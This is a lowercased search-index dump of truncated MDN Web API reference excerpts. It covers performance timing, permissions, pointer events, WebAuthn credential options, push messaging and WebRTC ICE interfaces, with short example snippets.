esenting the time value equal to the time immediately after the user agent finishes the unload event of the previous document. performancenavigationtiming.unloadeventstart read only a domhighrestimestamp representing the time value equal to the time immediately before the user agent starts the unload event of the previous document. methods performancenavigationtiming.tojson() returns a domstring that is the json representation of the performancenavigationtiming object. specifications specification status comment navigation timing level 2the definition of 'performancenavigationtiming' in that specification. working draft initial definition. ...
PerformanceObserverEntryList.getEntries() - Web APIs
e listed in the performanceentry.entrytype method. "initiatortype", the type of the initiating resource (for example an html element). the values are defined by the performanceresourcetiming.initiatortype interface. this parameter is currently not supported on chrome or opera. return value a list of explicitly observed performanceentry objects that meets the criteria of the filter. the items will be in chronological order based on the entries' starttime. if no objects that meet the filter are found, an empty list is returned. if no argument is given, all entries are returned. example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: "...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
ck function (as the first parameter in the callback). this method is exposed to window and worker interfaces. syntax entries = list.getentriesbytype(type); parameters type the type of entry to retrieve such as "frame". the valid entry types are listed in performanceentry.entrytype. return value a list of explicitly observed performanceentry objects that have the specified type. the items will be in chronological order based on the entries' starttime. if no objects have the specified type, or no argument is provided, an empty list is returned. example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create...
PerformanceResourceTiming - Web APIs
ent-codings. performanceresourcetiming.decodedbodysizeread only a number that is the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings. performanceresourcetiming.servertimingread only an array of performanceservertiming entries containing server timing metrics. methods performanceresourcetiming.tojson() returns a domstring that is the json representation of the performanceresourcetiming object. example see the example in using the resource timing api. specifications specification status comment resource timing level 1the definition of 'performanceresourcetiming' in that specification. candidate recommendation initial definition. ...
PerformanceServerTiming.description - Web APIs
syntax servertiming.description; specifications specification status comment server timingthe definition of 'description' in that specification. ...
PerformanceServerTiming.name - Web APIs
syntax servertiming.name; specifications specification status comment server timingthe definition of 'name' in that specification. ...
Using Performance Timeline - Web APIs
t client-side latency measurements within applications. the standard also includes interfaces that allow an application to be notified when specific performance events occur. together, these interfaces can be used to help identify an application's performance bottlenecks. performance extensions performance timeline extends the performance object with three methods that provide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria. the following example show the usage of these methods getentries(), getentriesbyname() and getentriesbytype(). function log(s) { var o = document.getelementsbytagname("output")[0]; o.innerhtml += s + " <br>"; } function do_work (n) { for (var i=0 ; i < n; i++) { var m = math.random(); } } func...
Performance Timeline - Web APIs
that are notified when specific performance events are added to the browser's performance timeline. this document provides an overview of the standard's interfaces. for more details about the interfaces, see the reference pages and using performance timeline. performance extensions the performance timeline api extends the performance interface with three methods that provide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria. the methods are: getentries() returns all recorded performance entries or, optionally, the entries based on the specified name, performance type and/or the initiatortype (such as an html element). getentriesbyname() returns the recorded performance entries based on the specified name and optionally th...
PeriodicWave.PeriodicWave() - Web APIs
rameters from the audionodeoptions dictionary. context a baseaudiocontext representing the audio context you want the node to be associated with. options optional a periodicwaveoptions dictionary object defining the properties you want the periodicwave to have (it also inherits the options defined in the periodicwaveconstraints dictionary.): real: a float32array containing the cosine terms that you want to use to form the wave (equivalent to the real parameter of audiocontext.createperiodicwave). imag: a float32array containing the sine terms that you want to use to form the wave (equivalent to the imag parameter of audiocontext.createperiodicwave). return value a new periodicwave object instance. example var real = new float32array(2); var imag = new float32array(2); va...
PeriodicWave - Web APIs
value at which the oscillator starts. 0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine components. you can think of it as the result of a fourier transform, where you get frequency domain values from time domain value. here, with createperiodicwave(), you specify the frequencies, and the browser performs an inverse fourier transform to get a time domain buffer for the frequency of the oscillator. here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. the coefficients of the fourier transform should be given in ascending order (i.e. (a+bi)ei,(c+di)e2i,(f+gi)e3i\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i} etc.) and can b...
Using the Permissions API - Web APIs
e trouble with asking for permission... let's face it, permissions on the web are a necessary evil, and they are not much fun to deal with as developers. historically, different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request, as we'll see below). the permissions api provides the tools to allow developers to implement a better user experience as far as permissions are concerned. for example, it can query whether permission to use a particular api is granted or denied, and specifically request permission to use an api. at the moment, implementation of the api is at an...
Permissions API - Web APIs
ontext. for example, the permissions api can be used to determine if permission to access a particular api has been granted or denied. concepts and usage historically different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request). the permissions api provides the tools to allow developers to implement a better user experience as far as permissions are concerned. the permissions property has been made available on the navigator object, both in the standard browsing context and the worker context (workernavigator — so permission checks are available inside workers), and ...
PluginArray - Web APIs
note: own properties of pluginarray objects are no longer enumerable in the latest browser versions. ...
Using Pointer Events - Web APIs
scans through the ongoingtouches array to find the touch matching the given identifier, then returns that touch's index into the array. function ongoingtouchindexbyid(idtofind) { for (var i = 0; i < ongoingtouches.length; i++) { var id = ongoingtouches[i].identifier; if (id == idtofind) { return i; } } return -1; // not found } showing what's going on function log(msg) { var p = document.getelementbyid('log'); p.innerhtml = msg + "\n" + p.innerhtml; } specifications specification status comment pointer events – level 2the definition of 'pointerevent' in that specification. recommendation non-stable version. pointer eventsthe definition of 'pointerevent' in that specification. obsolete initial definition. ...
Pointer events - Web APIs
e events needed to handle generic pointer input are analogous to mouse events (mousedown/pointerdown, mousemove/pointermove, etc.). consequently, pointer event types are intentionally similar to mouse event types. additionally, a pointer event contains the usual properties present in mouse events (client coordinates, target element, button states, etc.) in addition to new properties for other forms of input: pressure, contact geometry, tilt, etc. in fact, the pointerevent interface inherits all of the mouseevent properties, thus facilitating the migration of content from mouse events to pointer events. terminology active buttons state the condition when a pointer has a non-zero value for the buttons property. for example, in the case of a pen, when the pen has physical contact with the...
ProcessingInstruction - Web APIs
living standard xml specification ...
ProgressEvent() - Web APIs
it is case-sensitive. ...
ProgressEvent.initProgressEvent() - Web APIs
d that way are untrusted. note: this method has been dropped during the standard process. it has been deprecated and removed from most implementation. do not use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcomputable, loaded, total); parameters typearg is a domstring identifying the specific type of animation event that occurred. the following values are allowed: value meaning loadstart the operation has started. progress the operation still is in progress. error the operation failed and didn't complete. abort the operation was cancelled and didn't complete. ...
PromiseRejectionEvent() - Web APIs
ejection", to match the event names of the possible (non-synthetic) promiserejectionevent events that user agents can actually fire). options an object specifying details about the rejection which occurred: promise the promise that was rejected. reason any value or object which represents the reason the promise was rejected. this can be anything from a numeric error code to an error domstring to an object which contains detailed information describing the situation resulting in the promise being rejected. return value a new promiserejectionevent configured as specified by the parameters. examples this example creates a new unhandledrejection event for the promise mypromise with the reason being the string "my house is on fire". the reason could just as easily be a number...
PromiseRejectionEvent.promise - Web APIs
ts up an idle callback that will retry the task that failed to execute correctly. event.preventdefault() is called to indicate that the promise has now been handled. window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification. living standard initial definition. ...
PublicKeyCredential.getClientExtensionResults() - Web APIs
been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications spe...
PublicKeyCredential.rawId - Web APIs
appointed for the current publickeycredential and its associated authenticatorassertionresponse. ...
PublicKeyCredential.response - Web APIs
this object contains data from the client (authenticatorresponse/clientdatajson) and from the authenticator. ...
PublicKeyCredential - Web APIs
available on the system. examples creating a new instance of publickeycredential here, we use navigator.credentials.create() to generate a new credential. ...
PublicKeyCredentialCreationOptions.attestation - Web APIs
uthenticator. the default value is "none". ...
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
torattachment: "cross-platform", requireresidentkey: true, userverification: "required" }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment ...
PublicKeyCredentialCreationOptions.challenge - Web APIs
k (within the response) to the relying party's server for verification. ...
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
, // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment ...
PublicKeyCredentialCreationOptions.extensions - Web APIs
var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // mybuffer will contain the result of any of the processing of the extensions var mybuffer = newcredentialinfo.getclientextensionresults(); // send attestation response and client extensions // to the server to proceed with the registration // o...
PublicKeyCredentialCreationOptions.timeout - Web APIs
e. examples var publickey = { timeout: 6000, // accepting to wait for a minute before giving up. ...
PushManager.subscribe() - Web APIs
​pushmanager.subscribe(options).then(function(pushsubscription) { ... } ); parameters options optional an object containing optional configuration parameters. it can have the following properties: uservisibleonly: a boolean indicating that the returned push subscription will only be used for messages whose effect is made visible to the user. applicationserverkey: a base64-encoded domstring or arraybuffer containing an ecdsa p-256 public key that the push server will use to authenticate your application server. if specified, all messages from your application server must use the vapid authentication scheme, and include a jwt signed with the corresponding private key. this key is not the same ecdh key that you use to encrypt the data. for more information, see "using vapid with ...
PushMessageData - Web APIs
messagedata.json() extracts the data as a json object. pushmessagedata.text() extracts the data as a plain text string. examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmessagedata' in that specification. working draft initial definition. ...
PushSubscription - Web APIs
containing the endpoint associated with the push subscription. pushsubscription.expirationtime read only a domhighrestimestamp of the subscription expiration time associated with the push subscription, if there is one, or null otherwise. pushsubscription.options read only an object containing the options used to create the subscription. pushsubscription.subscriptionid read only a domstring containing the subscription id associated with the push subscription. methods pushsubscription.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data. pushsubscription.tojson() standard serializer — returns a json representation of the subscription properties. pushsubscription.unsubscribe(...
RTCConfiguration.certificates - Web APIs
n. the certificates property's value cannot be changed once it's first specified. if it's included in the configuration passed into a call to a connection's setconfiguration(), it is ignored. this attribute supports providing multiple certificates because even though a given dtls connection uses only one certificate, providing multiple certificates allows support for multiple encryption algorithms. the implementation of rtcpeerconnection will choose which certificate to use based on the algorithms it and the remote peer support, as determined during dtls handshake. if you don't provide certificates, new ones are generated automatically. one obvious benefit to providing your own is identity key continuity—if you use the same certificate for subsequent calls, the remote peer can tell you'...
RTCConfiguration.iceTransportPolicy - Web APIs
licy the ice agent should use during negotiation of connections. its value must come from the rtcicetransportpolicy enumerated type. if this property isn't included in the rtcconfiguration, the default value, all, is used. syntax let rtcconfiguration = { icetransportpolicy: policy }; rtcconfiguration.icetransportpolicy = policy; let policy = rtcconfiguration.icetransportpolicy; value a domstring which indicates what ice candidate policy the ice agent should use during the negotiation process, per the jsep standard. the permitted values are: all the ice agent is permitted to use any kind of candidate, including both local and relay candidates. the agent—or the browser itself—may still perform some form of ip filtering on the incoming candidates for reasons including privacy a...
RTCDTMFSender.toneBuffer - Web APIs
the rtcdtmfsender interface's tonebuffer property returns a string containing a list of the dtmf tones currently queued for sending to the remote peer over the rtcpeerconnection. to place tones into the buffer, call insertdtmf(). tones are removed from the string as they're played, so only upcoming tones are listed. syntax var tonebuffer = rtcdtmfsender.tonebuffer; value a domstring listing the tones to be played. if the string is empty, there are no tones pending. tone buffer format the tone buffer is a string which can contain any combination of the characters that are permitted by the dtmf standard. dtmf tone characters the digits 0-9 these characters represent the digit keys on a telephone keypad. the letters a-d these characters represent the "a" through "d" keys which ar...
RTCDTMFSender - Web APIs
see tonebuffer for details on the format of the tone buffer. methods rtcdtmfsender.insertdtmf() given a string describing a set of dtmf codes and, optionally, the duration of and inter-tone gap between the tones, insertdtmf() starts...
RTCDTMFToneChangeEvent - Web APIs
the rtcdtmftonechangeevent interface represents events sent to indicate that dtmf tones have started or finished playing. this interface is used by the tonechange event. properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing. constructors rtcdtmftonechangeevent() returns a new rtcdtmftonechangeevent. it takes two parameters, the first being a domstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event. methods supports the methods defined in event. there are no additional methods. examples th...
RTCDataChannel.binaryType - Web APIs
the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel. values allowed by the websocket.binarytype property are also permitted here: "blob" if blob objects are being used or "arraybuffer" if arraybuffer objects are being used. the default is "blob". when a binary message is received on the data channel, the resulting message event's messageevent.data property is an object of the type specified by the binarytype. syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects. "arraybuffer" received bi...
RTCDataChannel.label - Web APIs
these labels are not required to be unique. you may use the label as you wish; you could use it to identify all the channels that are being used for the same purpose, by giving them all the same name. or you could give each channel a unique label for tracking purposes. it's entirely up to the design decisions made when building your site or app. a unique id can be found in the id property. a data channel's label is set when the channel is created by calling rtcpeerconnection.createdatachannel(). it cannot be changed after that. ...
RTCDataChannel.send() - Web APIs
restrictions, see understanding message size limits in using webrtc data channels. example in this example, a routine called sendmessage() is created; it accepts an object as input and sends to the remote peer, over the rtcdatachannel, a json string with the specified object and a time stamp. var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification. candidate recommendation initial specification. ...
RTCDataChannelEvent() - Web APIs
there is only one type of rtcdatachannelevent, so this will always be "datachannel". ...
RTCError - Web APIs
Web › API › RTCError
dom errors. constructor rtcerror() creates and returns a new rtcerror object initialized with the properties of the provided rtcerrorinit dictionary and, optionally, a string to use as the value of the error's message property. properties in addition to the properties defined by the parent interface, domexception, rtcerror includes the following properties: errordetail read only a domstring specifying the webrtc-specific error code identifying the type of error that occurred. receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network. only valid if the errordetail string is dtls-failure. if null, no dtls error was received. sctpcausecode read only if errordetail is sctp-failure, this property is a long intege...
RTCErrorEvent.error - Web APIs
ct describing the details of the error which the event is announcing. syntax let errorinfo = rtcerrorevent.error; value an rtcerror object whose properties provide details about the error which has occurred in the context of a webrtc operation. since rtcerror is based upon domexception, it includes those properties. additional properties defined by rtcerror are: errordetail read only a domstring specifying the webrtc-specific error code identifying the type of error that occurred. receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network. only valid if the errordetail string is dtls-failure. if null, no dtls error was received. sctpcausecode read only if errordetail is sctp-failure, this property is a long intege...
RTCIceCandidate.address - Web APIs
of the device which is the source of the candidate. address is null by default if not otherwise specified. the address field's value is set when the rtcicecandidate() constructor is used. you can't specify the address in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly. syntax var address = rtcicecandidate.address; value a domstring providing the ip address from which the candidate comes. note: if port is null — and port is supported by the user agent — passing the candidate to addicecandidate() will fail, throwing an operationerror exception. security notes it's important to note here that although webrtc does not require the two peers on an rtcpeerconnection to know one another's true ip addresses, the addres...
RTCIceCandidate.component - Web APIs
the read-only component property on the rtcicecandidate interface is a string which indicates whether the candidate is an rtp or an rtcp candidate. if a candidate represents both rtp and rtcp multiplexed together, it is reported as an rtp candidate. syntax var component = rtcicecandidate.component; value a domstring which is "rtp" for rtp (or rtp and rtcp multiplexed together) candidates or "rtcp" for rtcp candidates. usage notes consider this sdp attribute line (a-line): a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host this is an ice candidate a-line, whose foundation is 4234997325. the next field on the a-line, "1", is the component id. a value of "1" indicates rtp, which is recorded in the component property as "rtp". if this value were instead "2", the a-line...
RTCIceCandidate.foundation - Web APIs
the rtcicecandidate interface's read-only foundation property is a string which uniquely identifies the candidate across multiple transports. as such, the foundation can be used to correlate candidates that are present on multiple rtcicetransport objects syntax var foundation = rtcicecandidate.foundation; value a domstring which uniquely identifies the candidate across all rtcicetransports on which it is available. note: if port is null — and port is supported by the user agent — passing the candidate to addicecandidate() will fail, throwing an operationerror exception. usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the field "4234997325" is the foundation. example ...
RTCIceCandidate.protocol - Web APIs
t if not specified properly in the sdp, but this is an error condition and will result in a thrown exception when you call rtcpeerconnection.addicecandidate(). the protocol property's value is set when the rtcicecandidate() constructor is used. the value is automatically extracted from the candidate a-line, if it's formatted properly. syntax var protocol = rtcicecandidate.protocol; value a domstring which indicates what network protocol the candidate uses, udp or tcp. these values are defined by the enumerated type rtciceprotocol: tcp the candidate, if selected, would use tcp as the transport protocol for its data. the tcptype property provides additional information about the kind of tcp candidate represented by the object. udp the candidate will use the udp transport protocol fo...
RTCIceCandidate.relatedPort - Web APIs
ed. you can't specify the value of relatedport in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly, being taken from its rel-port field. the related address (relatedaddress) and port are not used at all by ice itself; they are provided for analysis and diagnostic purposes only, and their inclusion may be blocked by security systems, so do not rely on them having non-null values. syntax var relport = rtcicecandidate.relatedport; value an unsigned 16-bit value containing the candidate's related port number, if any. for both peer and server reflexive candidates, the related address and port describe the base for that candidate. for relay candidates, the related address and port provide the mapped address selected by the tu...
RTCIceCandidate.tcpType - Web APIs
terface's read-only tcptype property is included on tcp candidates to provide additional details about the candidate type. the tcptype field's value is set when the rtcicecandidate() constructor is used. you can't directly set its value; instead, its value is automatically extracted from the candidate a-line, if it's formatted properly. syntax var tcptype = rtcicecandidate.tcptype; value a domstring whose value is one of those defined by the rtcicetcpcandidatetype enumerated type. "active" the transport will try to open an outbound connection but won't receive inoming connection requests. "passive" the transport will receive incoming connection requests but won't try to open an outbound connection. "so" the transport will try to open a connection simultaneously with its peer. ...
RTCIceCandidate.type - Web APIs
s read-only type specifies the type of candidate the object represents. the type field's value is set when the rtcicecandidate() constructor is used. you can't specify the value of type in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly, being taken from its cand-type field. syntax var type = rtcicecandidate.type; value a domstring whose value is one of those defined by the rtcicecandidatetype enumerated type. these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. host the candidate is a host candidate, whose ip address as specified in the rtcicecandidate.ip property is in fact the true address of the remote peer. srflx the candidate is a server refl...
RTCIceCandidateInit.sdpMid - Web APIs
note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception. example ... ...
RTCIceCandidateInit.usernameFragment - Web APIs
the string may be up to 256 characters long, and has no default value. ...
RTCIceCandidateInit - Web APIs
sdpmid optional the identification tag of the media stream with which the candidate is associated, or null if there is no associated media stream. the default is null. sdpmlineindex optional the zero-based index of the m-line within the sdp of the media description with which the candidate is associated, or null if no such associated exists. the default is null. usernamefragment optional a domstring containing a string which uniquely identifies the remote peer. this string is generated by webrtc at the beginning of the session, and at least 24 bits worth of the string contain random data. the string may be up to 256 characters long. this property has no default value and is not present unless set explicitly. specifications specification status comment webrtc 1...
RTCIceCandidateStats.localCandidateId - Web APIs
the rtcicecandidatepairstats property localcandidateid is a string that uniquely identifies the local ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for this pair of candidates. syntax localcandidateid = rtcicecandidatepairstats.localcandidateid; value a domstring giving a unique identifier for the local rtcicecandidate for the connection described by this rtcicecandidatepairstats object. this candidate is the source of one of the two rtcicecandidatestats objects that were used to compute the contents of this rtcicecandidatepairstats object. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.localcandidateid' in that specificati...
RTCIceCandidatePairStats.nominated - Web APIs
ue which is set to true by the ice layer if the controlling user agent has indicated that the candidate pair should be used to configure the webrtc connection between the two peers. note: if more than one candidate pair are nominated at the same time, the one whose priority is higher will be selected for use. once a candidate pair has been nominated and the two peers have each reconfigured themselves to use the specified configuration, the ice negotiation process can potentially end (or it can continue, to allow the connection to adapt to changing conditions). specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.nominated' in that specification. candidate recommendation initial s...
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
the rtcicecandidatepairstats property remotecandidateid is a string that uniquely identifies the remote ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for this pair of candidates. syntax remotecandidateid = rtcicecandidatepairstats.remotecandidateid; value a domstring uniquely identifies the remote ice candidate—that is, the candidate describing a configuration for the remote peer—which is represented by the remote end of these statistics. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.remotecandidateid' in that specification. candidate recommendation initial specification. ...
RTCIceCandidatePairStats.state - Web APIs
ice check lists during ice negotiation, the ice layer builds up a check list, which is a list of potential pairings of ice candidates. each pair has a state, whose value is represented by rtcstatsicecandidatepairstate. when a candidate pair is added to the check list, it begins in the frozen state. ...
RTCIceCandidatePairStats.transportId - Web APIs
the transport-related statistics come from the rtctransportstats dictionary's properties. ...
RTCIceCandidateStats.candidateType - Web APIs
the rtcicecandidatestats interface's candidatetype property is a string which indicates the type of ice candidate the object represents. syntax candidatetype = rtcicecandidatestats.candidatetype; value a domstring whose value is one of the strings found in the rtcicecandidatetype enumerated type:host the candidate is a host candidate, whose ip address as specified in the rtcicecandidate.ip property is in fact the true address of the remote peer. srflx the candidate is a server reflexive candidate; the ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously. prflx the candidate is a peer reflexive candidate; the ip is an intermediary address assigned by the stun server to represent the candidate's peer anonymously. relay the ...
RTCIceCandidateStats.networkType - Web APIs
worktype property specifies the type of network used by a local candidate to communicate with a remote peer. note: the networktype property is only included in rtcicecandidatestats objects for local candidates (that is, candidates generated locally and included in an sdp offer or answer that has been sent to the remote peer). syntax networktype = rtcicecandidatestats.networktype; value a domstring whose value is taken from the rtcnetworktype enumerated type. the string indicates the type of network connection that the described candidate would use to communicate with the other peer. the permitted values are: bluetooth a bluetooth connection is used by the described connection. cellular the connection uses a cellular data service to connect. this includes all cellular data servi...
RTCIceCandidateStats.relayProtocol - Web APIs
the rtcicecandidatestats dictionary's relayprotocol property specifies the protocol being used by a local ice candidate to communicate with the turn server. the ice protocl being used by the candidate otherwise can be obtained from the protocol property. syntax relayprotocol = rtcicecandidatestats.relayprotocol; value a domstring identifying the protocol being used by the endpoint to communicate with the turn server. the possible values are: tcp tcp (transport control protocol) is being used to communicate with the turn server. tls tls (transport layer security) is being used to communicate with the turn server. udp udp (user datagram protocol) is being used to communicate with the turn server. note: this property is only present on rtcicecandidatestats objects that represen...
RTCIceCandidateStats.transportId - Web APIs
the rtcicecandidatestats dictionary's transportid property is a string that uniquely identifies the transport that produced the rtctransportstats from which information about this candidate was taken. syntax transportid = rtcicecandidatestats.transportid; value a domstring whose value uniquely identifies the transport from which any transport-related information accumulated in the rtcicecandidatestats was taken. this can be used to compare candidates that would use the same transport, for example. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.transportid' in that specification. candidate recommendation initial specification. ...
RTCIceCandidateStats.url - Web APIs
this is the same url that would be received in the icecandidate event's url property. ...
RTCIceCandidateType - Web APIs
these strings are taken directly from the candidate a-line in sdp. values these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. host the candidate is a host candidate, whose ip address as specified in the rtcicecandidate.ip property is in fact the true address of the remote peer. srflx the candidate is a server reflexive candidate; the ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously. ...
RTCIceComponent - Web APIs
these strings are mapped to corresponding numeric values as they appear in the candidate a-line in sdp. values "rtp" identifies an ice transport which is being used for the real-time transport protocol (rtp), or for rtp multiplexed with the rtp control protocol (rtcp). rtp is defined in rfc 3550. an rtcicecomponent of this value corresponds to the component id field in the candidate a-line with the value 1. "rtcp" identifies an ice transport being used for rtcp, which is defined in rfc 3550, section 6. this value of rtcicecomponent corresponds to the component id 2. ...
RTCIceParameters.password - Web APIs
the rtciceparameters dictionary's password property specifies the ice password that, in tandem with the usernamefragment, uniquely identifies an ice session for its entire duration. syntax password = rtciceparameters.password; value a domstring containing the password that corresponds to the transport's usernamefragment string specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.password' in that specification. candidate recommendation initial specification. ...
RTCIceParameters.usernameFragment - Web APIs
the string may be up to 256 characters long. ...
RTCIceParameters - Web APIs
iceparameters dictionary specifies the username fragment and password assigned to an ice session. during ice negotiation, each peer's username fragment and password are recorded in an rtciceparameters object, which can be obtained from the rtcicetransport by calling its getlocalparameters() or getremoteparameters() method, depending on which end interests you. properties usernamefragment a domstring specifying the value of the ice session's username fragment field, ufrag. password a domstring specifying the session's password string. usage notes the username fragment and password uniquely identify the remote peer for the duration of the ice session, and are used to both ensure security and to avoid crosstalk across multiple ongoing ice sessions. see rtcicecandidate.usernamefragment...
RTCIceProtocol - Web APIs
these strings are taken directly from the candidate a-line in sdp. values tcp the candidate, if selected, would use tcp as the transport protocol for its data. the tcptype property provides additional information about the kind of tcp candidate represented by the object. udp the candidate will use the udp transport protocol for its data. this is the preferred protocol for media interactions because of its better performance profile. usage notes the rtciceprotocol type is used by the protocol property of rtcicecandidate objects. ...
RTCIceServer.url - Web APIs
Web › API › RTCIceServer › url
hould instead use the newer urls property, which allows you to optionally specify multiple urls for the server. try to update any existing code to use that property instead. syntax var iceserver = { ... url = iceserverurl, ... }; var serverurl = iceserver.url; iceserver.url = iceserverurl; the value of this property is a domstring containing the full url of a server to use during ice negotiation. example this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection = new rtcpeerconnection({ iceservers: [ { url: "stun:stunserver.example.org" } ] }); unfortunately, the only way to tell ice that the server has a backup ...
RTCIceServer - Web APIs
use when logging into the server. this is only used if the rtciceserver represents a turn server. credentialtype optional if the rtciceserver represents a turn server, this attribute specifies what kind of credential is to be used when connecting. this must be one of the values defined by the rtcicecredentialtype enum. the default is password. urls this required property is either a single domstring or an array of domstrings, each specifying a url which can be used to connect to the server. username optional if the rtciceserver is a turn server, then this is the username to use during the authentication process. avoid specifying an unnecessarily large number of urls in the urls property; the startup time for your connection will go up substantially. every server in the list will be ...
RTCIceTcpCandidateType - Web APIs
values "active" the transport will try to open an outbound connection but won't receive inoming connection requests. "passive" the transport will receive incoming connection requests but won't try to open an outbound connection. "so" the transport will try to open a connection simultaneously with its peer. usage notes the rtcicetcpcandidatetype type is used by the tcptype property of rtcicecandidate objects. ...
RTCIceTransport.component - Web APIs
rtp is defined in rfc 3550. ...
RTCIceTransport.gatheringState - Web APIs
syntax gatherstate = rtcicetransport.gatheringstate; value a string from the rtcicegathererstate enumerated type whose value indicates the current state of the ice agent's candidate gathering process: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates. "gathering" the transport is in the process of gathering candidates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. ...
RTCIceTransport.getSelectedCandidatePair() - Web APIs
atepair(); parameters none. return value a rtcicecandidatepair object describing the configurations of the currently-selected candidate pair's two endpoints. local describes the configuration of the local end of the connection, while remote describes the remote peer's configuration. the return value is null if no pair of candidates has been selected yet. usage notes as the ice agent performs negotiation of a rtcpeerconnection, it gathers and analyzes candidate configurations from each the two peers. as soon as it finds an acceptable matching pair of candidates, meeting the requirements for the connection, a selectedcandidatepairchange event is fired at the rtcicetransport. from that time forward, the best matching pair of candidates will always be available by calling getselectedcand...
RTCIceTransport.role - Web APIs
